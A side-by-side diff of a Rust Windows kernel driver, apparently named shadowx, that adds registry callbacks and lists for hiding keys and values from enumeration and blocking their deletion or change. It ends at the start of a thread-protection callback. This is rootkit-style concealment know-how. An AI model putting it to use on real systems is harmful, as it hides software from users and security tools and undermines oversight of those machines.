/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// - `info`: A pointer to `REG_QUERY_KEY_INFORMATION`.
|
/// * `info` - A pointer to `REG_QUERY_KEY_INFORMATION`.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// - `NTSTATUS`: A status code indicating success or failure.
|
/// * A status code indicating success or failure.
|
||||||
///
|
|
||||||
unsafe fn pre_query_key(info: *mut REG_QUERY_KEY_INFORMATION) -> NTSTATUS {
|
unsafe fn pre_query_key(info: *mut REG_QUERY_KEY_INFORMATION) -> NTSTATUS {
|
||||||
let status;
|
let status;
|
||||||
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
|
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
|
||||||
@@ -290,12 +313,11 @@ unsafe fn pre_query_key(info: *mut REG_QUERY_KEY_INFORMATION) -> NTSTATUS {
|
|||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// - `info`: A pointer to `REG_DELETE_VALUE_KEY_INFORMATION`.
|
/// * `info` - A pointer to `REG_DELETE_VALUE_KEY_INFORMATION`.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// - `NTSTATUS`: A status code indicating success or failure.
|
/// * A status code indicating success or failure.
|
||||||
///
|
|
||||||
unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> NTSTATUS {
|
unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> NTSTATUS {
|
||||||
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
|
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
|
||||||
return STATUS_SUCCESS;
|
return STATUS_SUCCESS;
|
||||||
@@ -313,7 +335,7 @@ unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> N
|
|||||||
|
|
||||||
let buffer = core::slice::from_raw_parts((*value_name).Buffer, ((*value_name).Length / 2) as usize);
|
let buffer = core::slice::from_raw_parts((*value_name).Buffer, ((*value_name).Length / 2) as usize);
|
||||||
let name = String::from_utf16_lossy(buffer);
|
let name = String::from_utf16_lossy(buffer);
|
||||||
if Registry::<(String, String)>::check_target(key.clone(), name.clone(), TARGET_KEY_VALUES.lock()) {
|
if Registry::<(String, String)>::check_target(key.clone(), name.clone(), PROTECTION_KEY_VALUES.lock()) {
|
||||||
STATUS_ACCESS_DENIED
|
STATUS_ACCESS_DENIED
|
||||||
} else {
|
} else {
|
||||||
STATUS_SUCCESS
|
STATUS_SUCCESS
|
||||||
@@ -324,12 +346,11 @@ unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> N
|
|||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// - `info`: A pointer to `REG_SET_VALUE_KEY_INFORMATION`.
|
/// * `info` - A pointer to `REG_SET_VALUE_KEY_INFORMATION`.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// - `NTSTATUS`: A status code indicating success or failure.
|
/// * A status code indicating success or failure.
|
||||||
///
|
|
||||||
unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATUS {
|
unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATUS {
|
||||||
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
|
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
|
||||||
return STATUS_SUCCESS;
|
return STATUS_SUCCESS;
|
||||||
@@ -347,7 +368,7 @@ unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATU
|
|||||||
|
|
||||||
let buffer = core::slice::from_raw_parts((*value_name).Buffer,((*value_name).Length / 2) as usize);
|
let buffer = core::slice::from_raw_parts((*value_name).Buffer,((*value_name).Length / 2) as usize);
|
||||||
let name = String::from_utf16_lossy(buffer);
|
let name = String::from_utf16_lossy(buffer);
|
||||||
if Registry::check_target(key.clone(), name.clone(), TARGET_KEY_VALUES.lock()) {
|
if Registry::check_target(key.clone(), name.clone(), PROTECTION_KEY_VALUES.lock()) {
|
||||||
STATUS_ACCESS_DENIED
|
STATUS_ACCESS_DENIED
|
||||||
} else {
|
} else {
|
||||||
STATUS_SUCCESS
|
STATUS_SUCCESS
|
||||||
@@ -358,12 +379,12 @@ unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATU
|
|||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// - `info`: A pointer to the registry information.
|
/// * `info` - A pointer to the registry information.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// - `Result<String, NTSTATUS>`: The key name or an error status.
|
/// * `Ok(String)` - The key name.
|
||||||
///
|
/// * `Err(NTSTATUS)` - error status.
|
||||||
unsafe fn read_key<T: RegistryInfo>(info: *mut T) -> Result<String, NTSTATUS> {
|
unsafe fn read_key<T: RegistryInfo>(info: *mut T) -> Result<String, NTSTATUS> {
|
||||||
let mut reg_path: PCUNICODE_STRING = core::ptr::null_mut();
|
let mut reg_path: PCUNICODE_STRING = core::ptr::null_mut();
|
||||||
let status = CmCallbackGetKeyObjectIDEx(
|
let status = CmCallbackGetKeyObjectIDEx(
|
||||||
257
crates/shadowx/src/registry/mod.rs
Normal file
257
crates/shadowx/src/registry/mod.rs
Normal file
@@ -0,0 +1,257 @@
|
|||||||
|
use {
|
||||||
|
utils::Type,
|
||||||
|
core::marker::PhantomData,
|
||||||
|
spin::{lazy::Lazy, Mutex, MutexGuard},
|
||||||
|
alloc::{string::{String, ToString}, vec::Vec},
|
||||||
|
common::{structs::TargetRegistry, vars::MAX_REGISTRY},
|
||||||
|
wdk_sys::{
|
||||||
|
NTSTATUS, STATUS_DUPLICATE_OBJECTID,
|
||||||
|
STATUS_SUCCESS, STATUS_UNSUCCESSFUL
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
pub mod callback;
|
||||||
|
pub mod utils;
|
||||||
|
|
||||||
|
/// List of protection key-value pairs.
|
||||||
|
///
|
||||||
|
/// This list stores key-value pairs that are protected.
|
||||||
|
/// It is guarded by a mutex to ensure thread-safe access.
|
||||||
|
pub static PROTECTION_KEY_VALUES: Lazy<Mutex<Vec<(String, String)>>> = Lazy::new(||
|
||||||
|
Mutex::new(Vec::with_capacity(MAX_REGISTRY))
|
||||||
|
);
|
||||||
|
|
||||||
|
/// List of protection keys.
|
||||||
|
///
|
||||||
|
/// This list stores keys that are protected. It is guarded by a mutex to ensure thread-safe access.
|
||||||
|
static PROTECTION_KEYS: Lazy<Mutex<Vec<String>>> = Lazy::new(||
|
||||||
|
Mutex::new(Vec::with_capacity(MAX_REGISTRY))
|
||||||
|
);
|
||||||
|
|
||||||
|
/// List of hidden keys.
|
||||||
|
///
|
||||||
|
/// This list stores keys that have been hidden. It is protected by a mutex for thread-safe operations.
|
||||||
|
static HIDE_KEYS: Lazy<Mutex<Vec<String>>> = Lazy::new(||
|
||||||
|
Mutex::new(Vec::with_capacity(MAX_REGISTRY))
|
||||||
|
);
|
||||||
|
|
||||||
|
/// List of hidden key-value pairs.
|
||||||
|
///
|
||||||
|
/// This list stores key-value pairs that have been hidden. It is protected by a mutex for thread-safe operations.
|
||||||
|
static HIDE_KEY_VALUES: Lazy<Mutex<Vec<(String, String)>>> = Lazy::new(||
|
||||||
|
Mutex::new(Vec::with_capacity(MAX_REGISTRY))
|
||||||
|
);
|
||||||
|
|
||||||
|
/// Trait defining common operations for registry lists.
|
||||||
|
///
|
||||||
|
/// This trait provides methods for adding, removing, and checking items in registry lists.
|
||||||
|
trait RegistryList<T> {
|
||||||
|
/// Adds an item to the registry list.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `list` - A mutable reference to the list.
|
||||||
|
/// * `item` - The item to be added.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * Status code indicating success (`STATUS_SUCCESS`), duplicate (`STATUS_DUPLICATE_OBJECTID`),
|
||||||
|
/// or failure (`STATUS_UNSUCCESSFUL`).
|
||||||
|
fn add_item(list: &mut Vec<T>, item: T) -> NTSTATUS;
|
||||||
|
|
||||||
|
/// Removes an item from the registry list.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `list` - A mutable reference to the list.
|
||||||
|
/// * `item` - The item to be removed.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`).
|
||||||
|
fn remove_item(list: &mut Vec<T>, item: &T) -> NTSTATUS;
|
||||||
|
|
||||||
|
/// Checks if an item is in the registry list.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `list` - A reference to the list.
|
||||||
|
/// * `item` - The item to be checked.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * Returns `true` if the item is in the list, `false` otherwise.
|
||||||
|
fn contains_item(list: &Vec<T>, item: &T) -> bool;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Implementation of `RegistryList` for key-value pairs.
|
||||||
|
impl RegistryList<(String, String)> for Vec<(String, String)> {
|
||||||
|
fn add_item(list: &mut Vec<(String, String)>, item: (String, String)) -> NTSTATUS {
|
||||||
|
if list.len() >= MAX_REGISTRY {
|
||||||
|
return STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if list.iter().any(|(k, v)| k == &item.0 && v == &item.1) {
|
||||||
|
return STATUS_DUPLICATE_OBJECTID;
|
||||||
|
}
|
||||||
|
|
||||||
|
list.push(item);
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
fn remove_item(list: &mut Vec<(String, String)>, item: &(String, String)) -> NTSTATUS {
|
||||||
|
if let Some(index) = list.iter().position(|(k, v)| k == &item.0 && v == &item.1) {
|
||||||
|
list.remove(index);
|
||||||
|
STATUS_SUCCESS
|
||||||
|
} else {
|
||||||
|
STATUS_UNSUCCESSFUL
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn contains_item(list: &Vec<(String, String)>, item: &(String, String)) -> bool {
|
||||||
|
list.contains(item)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Implementation of `RegistryList` for strings.
|
||||||
|
impl RegistryList<String> for Vec<String> {
|
||||||
|
fn add_item(list: &mut Vec<String>, item: String) -> NTSTATUS {
|
||||||
|
if list.len() >= MAX_REGISTRY {
|
||||||
|
return STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if list.contains(&item) {
|
||||||
|
return STATUS_DUPLICATE_OBJECTID;
|
||||||
|
}
|
||||||
|
|
||||||
|
list.push(item);
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
fn remove_item(list: &mut Vec<String>, item: &String) -> NTSTATUS {
|
||||||
|
if let Some(index) = list.iter().position(|k| k == item) {
|
||||||
|
list.remove(index);
|
||||||
|
STATUS_SUCCESS
|
||||||
|
} else {
|
||||||
|
STATUS_UNSUCCESSFUL
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn contains_item(list: &Vec<String>, item: &String) -> bool {
|
||||||
|
list.contains(item)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Structure representing registry operations.
|
||||||
|
///
|
||||||
|
/// The `Registry<T>` structure handles operations for adding, removing, and checking keys or key-value pairs
|
||||||
|
/// in the registry.
|
||||||
|
pub struct Registry<T> {
|
||||||
|
_marker: PhantomData<T>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Registry<(String, String)> {
|
||||||
|
/// Adds or removes a key-value pair from the list of protected or hidden values.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `target` - A pointer to a `TargetRegistry` structure representing the key-value pair.
|
||||||
|
/// * `type_` - An enum indicating whether to protect or hide the key-value pair.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`).
|
||||||
|
pub fn modify_key_value(target: *mut TargetRegistry, type_: Type) -> NTSTATUS {
|
||||||
|
let key = unsafe { (*target).key.clone() };
|
||||||
|
let value = unsafe { (*target).value.clone() };
|
||||||
|
let enable = unsafe { (*target).enable };
|
||||||
|
|
||||||
|
let status = match type_ {
|
||||||
|
Type::Protect => {
|
||||||
|
let mut list = PROTECTION_KEY_VALUES.lock();
|
||||||
|
if enable {
|
||||||
|
Vec::<(String, String)>::add_item(&mut list, (key, value))
|
||||||
|
} else {
|
||||||
|
Vec::<(String, String)>::remove_item(&mut list, &(key, value))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Type::Hide => {
|
||||||
|
let mut list = HIDE_KEY_VALUES.lock();
|
||||||
|
if enable {
|
||||||
|
Vec::<(String, String)>::add_item(&mut list, (key, value))
|
||||||
|
} else {
|
||||||
|
Vec::<(String, String)>::remove_item(&mut list, &(key, value))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
status
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Checks if a key-value pair exists in the list of protected values.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `key` - The key to check.
|
||||||
|
/// * `value` - The value to check.
|
||||||
|
/// * `list` - A guard that provides access to the list.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * Returns `true` if the key-value pair exists in the list, or `false` otherwise.
|
||||||
|
pub fn check_target(key: String, value: String, list: MutexGuard<Vec<(String, String)>>) -> bool {
|
||||||
|
Vec::<(String, String)>::contains_item(&list, &(key, value))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Registry<String> {
|
||||||
|
/// Adds or removes a key from the list of protected or hidden keys.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `target` - A pointer to a `TargetRegistry` structure representing the key.
|
||||||
|
/// * `list_type` - An enum indicating whether to protect or hide the key.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`).
|
||||||
|
pub fn modify_key(target: *mut TargetRegistry, list_type: Type) -> NTSTATUS {
|
||||||
|
let key = unsafe { &(*target).key }.to_string();
|
||||||
|
let enable = unsafe { (*target).enable };
|
||||||
|
|
||||||
|
let status = match list_type {
|
||||||
|
Type::Protect => {
|
||||||
|
let mut list = PROTECTION_KEYS.lock();
|
||||||
|
if enable {
|
||||||
|
Vec::add_item(&mut list, key)
|
||||||
|
} else {
|
||||||
|
Vec::remove_item(&mut list, &key)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Type::Hide => {
|
||||||
|
let mut list = HIDE_KEYS.lock();
|
||||||
|
if enable {
|
||||||
|
Vec::add_item(&mut list, key)
|
||||||
|
} else {
|
||||||
|
Vec::remove_item(&mut list, &key)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
status
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Checks if a key exists in the list of protected keys.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `key` - The key to check.
|
||||||
|
/// * `list` - A guard that provides access to the list.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * Returns `true` if the key exists in the list, or `false` otherwise.
|
||||||
|
pub fn check_key(key: String, list: MutexGuard<Vec<String>>) -> bool {
|
||||||
|
Vec::contains_item(&list, &key)
|
||||||
|
}
|
||||||
|
}
|
||||||
300
crates/shadowx/src/registry/utils.rs
Normal file
300
crates/shadowx/src/registry/utils.rs
Normal file
@@ -0,0 +1,300 @@
|
|||||||
|
#![allow(non_upper_case_globals)]
|
||||||
|
|
||||||
|
use {
|
||||||
|
log::error,
|
||||||
|
alloc::{format, string::String},
|
||||||
|
core::{
|
||||||
|
slice::from_raw_parts,
|
||||||
|
ffi::c_void, mem::size_of,
|
||||||
|
},
|
||||||
|
wdk_sys::{
|
||||||
|
*,
|
||||||
|
ntddk::{ZwEnumerateKey, ZwEnumerateValueKey},
|
||||||
|
_KEY_INFORMATION_CLASS::{
|
||||||
|
KeyBasicInformation,
|
||||||
|
KeyNameInformation
|
||||||
|
},
|
||||||
|
_KEY_VALUE_INFORMATION_CLASS::{
|
||||||
|
KeyValueFullInformationAlign64,
|
||||||
|
KeyValueBasicInformation,
|
||||||
|
KeyValueFullInformation,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
use super::{Registry, HIDE_KEYS, HIDE_KEY_VALUES};
|
||||||
|
|
||||||
|
/// Checks if a specified registry key is present in the list of hidden keys.
|
||||||
|
///
|
||||||
|
/// This function checks if the provided registry key exists among the list of hidden keys, using
|
||||||
|
/// the information from the registry operation.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `info` - Pointer to the operation information structure containing registry details.
|
||||||
|
/// * `key` - The name of the registry key to be checked.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * Returns `true` if the key is found in the hidden keys list, otherwise returns `false`.
|
||||||
|
pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool {
|
||||||
|
// Extracting pre-information from the registry operation
|
||||||
|
let info_class = (*info).PreInformation as *mut REG_ENUMERATE_KEY_INFORMATION;
|
||||||
|
|
||||||
|
match (*info_class).KeyInformationClass {
|
||||||
|
// Check for basic key information
|
||||||
|
KeyBasicInformation => {
|
||||||
|
let basic_information = (*info_class).KeyInformation as *mut KEY_BASIC_INFORMATION;
|
||||||
|
let name = from_raw_parts((*basic_information).Name.as_ptr(),
|
||||||
|
((*basic_information).NameLength / size_of::<u16>() as u32) as usize);
|
||||||
|
|
||||||
|
// Construct the full key path
|
||||||
|
let key = format!("{key}\\{}", String::from_utf16_lossy(name));
|
||||||
|
if Registry::check_key(key.clone(), HIDE_KEYS.lock()) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
},
|
||||||
|
// Check for key name information
|
||||||
|
KeyNameInformation => {
|
||||||
|
let basic_information = (*info_class).KeyInformation as *mut KEY_NAME_INFORMATION;
|
||||||
|
let name = from_raw_parts((*basic_information).Name.as_ptr(),
|
||||||
|
((*basic_information).NameLength / size_of::<u16>() as u32) as usize);
|
||||||
|
|
||||||
|
// Construct the full key path
|
||||||
|
let key = format!("{key}\\{}", String::from_utf16_lossy(name));
|
||||||
|
if Registry::check_key(key.clone(), HIDE_KEYS.lock()) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
},
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
|
||||||
|
false
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Checks if a specified registry key-value pair is present in the list of hidden key-values.
|
||||||
|
///
|
||||||
|
/// This function checks if the provided registry key-value pair exists among the list of hidden key-values,
|
||||||
|
/// using information from the registry value operation.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `info` - Pointer to the operation information structure containing registry value details.
|
||||||
|
/// * `key` - The name of the registry key associated with the value to be checked.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * Returns `true` if the key-value pair is found in the hidden key-values list, otherwise returns `false`.
|
||||||
|
pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool {
|
||||||
|
// Extracting pre-information from the registry operation
|
||||||
|
let info_class = (*info).PreInformation as *const REG_ENUMERATE_VALUE_KEY_INFORMATION;
|
||||||
|
|
||||||
|
match (*info_class).KeyValueInformationClass {
|
||||||
|
// Check for basic key value information
|
||||||
|
KeyValueBasicInformation => {
|
||||||
|
let value = (*info_class).KeyValueInformation as *const KEY_VALUE_BASIC_INFORMATION;
|
||||||
|
let name = from_raw_parts((*value).Name.as_ptr(),
|
||||||
|
((*value).NameLength / size_of::<u16>() as u32) as usize);
|
||||||
|
let value = String::from_utf16_lossy(name);
|
||||||
|
|
||||||
|
if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
},
|
||||||
|
// Check for full key value information
|
||||||
|
KeyValueFullInformationAlign64 | KeyValueFullInformation => {
|
||||||
|
let value = (*info_class).KeyValueInformation as *const KEY_VALUE_FULL_INFORMATION;
|
||||||
|
let name = from_raw_parts((*value).Name.as_ptr(),
|
||||||
|
((*value).NameLength / size_of::<u16>() as u32) as usize);
|
||||||
|
let value = String::from_utf16_lossy(name);
|
||||||
|
|
||||||
|
if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
},
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
|
||||||
|
false
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enumerates the specified registry key and retrieves its name.
|
||||||
|
///
|
||||||
|
/// This function enumerates the registry key based on the provided index and information class,
|
||||||
|
/// returning the key name in the desired format.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `key_handle` - Handle of the target registry key.
|
||||||
|
/// * `index` - The index to be enumerated.
|
||||||
|
/// * `buffer` - Buffer that will store the registry key information.
|
||||||
|
/// * `buffer_size` - Size of the buffer.
|
||||||
|
/// * `key_information` - Type of information to retrieve about the target registry key.
|
||||||
|
/// * `result_length` - Pointer to store the size of the result.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * Returns `Some(String)` containing the name of the registry key if successful,
|
||||||
|
/// otherwise returns `None`.
|
||||||
|
pub unsafe fn enumerate_key(
|
||||||
|
key_handle: HANDLE,
|
||||||
|
index: u32,
|
||||||
|
buffer: *mut u8,
|
||||||
|
buffer_size: u32,
|
||||||
|
key_information: KEY_INFORMATION_CLASS,
|
||||||
|
result_length: &mut u32
|
||||||
|
) -> Option<String> {
|
||||||
|
// Enumerate the registry key using ZwEnumerateKey
|
||||||
|
let status = ZwEnumerateKey(
|
||||||
|
key_handle,
|
||||||
|
index,
|
||||||
|
key_information,
|
||||||
|
buffer as *mut c_void,
|
||||||
|
buffer_size,
|
||||||
|
result_length,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Check if there are no more entries
|
||||||
|
if status == STATUS_NO_MORE_ENTRIES {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if the operation was successful
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
error!("ZwEnumerateKey Failed With Status: {status}");
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Process the key information based on the specified class
|
||||||
|
match key_information {
|
||||||
|
KeyBasicInformation => {
|
||||||
|
let basic_information = &*(buffer as *const KEY_BASIC_INFORMATION);
|
||||||
|
let name = from_raw_parts(
|
||||||
|
(*basic_information).Name.as_ptr(),
|
||||||
|
((*basic_information).NameLength / size_of::<u16>() as u32) as usize,
|
||||||
|
);
|
||||||
|
|
||||||
|
Some(String::from_utf16_lossy(name))
|
||||||
|
},
|
||||||
|
KeyNameInformation => {
|
||||||
|
let basic_information = &*(buffer as *const KEY_NAME_INFORMATION);
|
||||||
|
let name = from_raw_parts(
|
||||||
|
(*basic_information).Name.as_ptr(),
|
||||||
|
((*basic_information).NameLength / size_of::<u16>() as u32) as usize,
|
||||||
|
);
|
||||||
|
Some(String::from_utf16_lossy(name))
|
||||||
|
},
|
||||||
|
_ => None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enumerates the values of the specified registry key.
|
||||||
|
///
|
||||||
|
/// This function enumerates the values of the registry key based on the provided index and information class,
|
||||||
|
/// returning the value name in the desired format.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `key_handle` - Handle of the target registry key.
|
||||||
|
/// * `index` - The index to be enumerated.
|
||||||
|
/// * `buffer` - Buffer that will store the registry key values.
|
||||||
|
/// * `buffer_size` - Size of the buffer.
|
||||||
|
/// * `key_value_information` - Type of information to retrieve about the registry key value.
|
||||||
|
/// * `result_length` - Pointer to store the size of the result.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * Returns `Some(String)` containing the name of the registry key value if successful,
|
||||||
|
/// otherwise returns `None`.
|
||||||
|
pub unsafe fn enumerate_value_key(
|
||||||
|
key_handle: HANDLE,
|
||||||
|
index: u32,
|
||||||
|
buffer: *mut u8,
|
||||||
|
buffer_size: u32,
|
||||||
|
key_value_information: KEY_VALUE_INFORMATION_CLASS,
|
||||||
|
result_length: &mut u32
|
||||||
|
) -> Option<String> {
|
||||||
|
// Enumerate the registry value using ZwEnumerateValueKey
|
||||||
|
let status = ZwEnumerateValueKey(
|
||||||
|
key_handle,
|
||||||
|
index,
|
||||||
|
key_value_information,
|
||||||
|
buffer as *mut c_void,
|
||||||
|
buffer_size,
|
||||||
|
result_length,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Check if there are no more entries
|
||||||
|
if status == STATUS_NO_MORE_ENTRIES {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if the operation was successful
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
error!("ZwEnumerateValueKey Failed With Status: {status}");
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Process the key value information based on the specified class
|
||||||
|
match key_value_information {
|
||||||
|
KeyValueBasicInformation | KeyValueFullInformationAlign64 | KeyValueFullInformation => {
|
||||||
|
let value_info = &*(buffer as *const KEY_VALUE_FULL_INFORMATION);
|
||||||
|
let value_name_utf16: &[u16] = from_raw_parts(
|
||||||
|
value_info.Name.as_ptr(),
|
||||||
|
(value_info.NameLength / size_of::<u16>() as u32) as usize,
|
||||||
|
);
|
||||||
|
Some(String::from_utf16_lossy(value_name_utf16))
|
||||||
|
},
|
||||||
|
_ => None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Trait for accessing the object in registry information.
|
||||||
|
///
|
||||||
|
/// This trait defines a method to retrieve a pointer to the registry object from different registry information structures.
|
||||||
|
pub trait RegistryInfo {
|
||||||
|
/// Retrieves a pointer to the registry object.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * A raw pointer to the registry object.
|
||||||
|
fn get_object(&self) -> *mut c_void;
|
||||||
|
}
|
||||||
|
|
||||||
|
impl RegistryInfo for REG_DELETE_KEY_INFORMATION {
|
||||||
|
fn get_object(&self) -> *mut c_void {
|
||||||
|
self.Object
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl RegistryInfo for REG_DELETE_VALUE_KEY_INFORMATION {
|
||||||
|
fn get_object(&self) -> *mut c_void {
|
||||||
|
self.Object
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl RegistryInfo for REG_SET_VALUE_KEY_INFORMATION {
|
||||||
|
fn get_object(&self) -> *mut c_void {
|
||||||
|
self.Object
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl RegistryInfo for REG_QUERY_KEY_INFORMATION {
|
||||||
|
fn get_object(&self) -> *mut c_void {
|
||||||
|
self.Object
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl RegistryInfo for REG_POST_OPERATION_INFORMATION {
|
||||||
|
fn get_object(&self) -> *mut c_void {
|
||||||
|
self.Object
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enum representing the types of operations to be done with the Registry.
|
||||||
|
pub enum Type {
|
||||||
|
/// Hides the specified key or key-value.
|
||||||
|
Hide,
|
||||||
|
/// Protects the specified key or key-value from being modified.
|
||||||
|
Protect,
|
||||||
|
}
|
||||||
124
crates/shadowx/src/thread/callback.rs
Normal file
124
crates/shadowx/src/thread/callback.rs
Normal file
@@ -0,0 +1,124 @@
|
|||||||
|
use {
|
||||||
|
alloc::vec::Vec,
|
||||||
|
spin::{lazy::Lazy, Mutex},
|
||||||
|
common::{structs::TargetThread, vars::MAX_TID},
|
||||||
|
wdk_sys::{
|
||||||
|
ntddk::PsGetThreadId, STATUS_QUOTA_EXCEEDED,
|
||||||
|
PETHREAD, STATUS_DUPLICATE_OBJECTID,
|
||||||
|
NTSTATUS, OB_PRE_OPERATION_INFORMATION,
|
||||||
|
_OB_PREOP_CALLBACK_STATUS::{Type, OB_PREOP_SUCCESS},
|
||||||
|
STATUS_SUCCESS, STATUS_UNSUCCESSFUL, THREAD_GET_CONTEXT,
|
||||||
|
THREAD_SET_CONTEXT, THREAD_SUSPEND_RESUME, THREAD_TERMINATE,
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
pub struct ThreadCallback;
|
||||||
|
|
||||||
|
/// Handle for the thread callback registration.
|
||||||
|
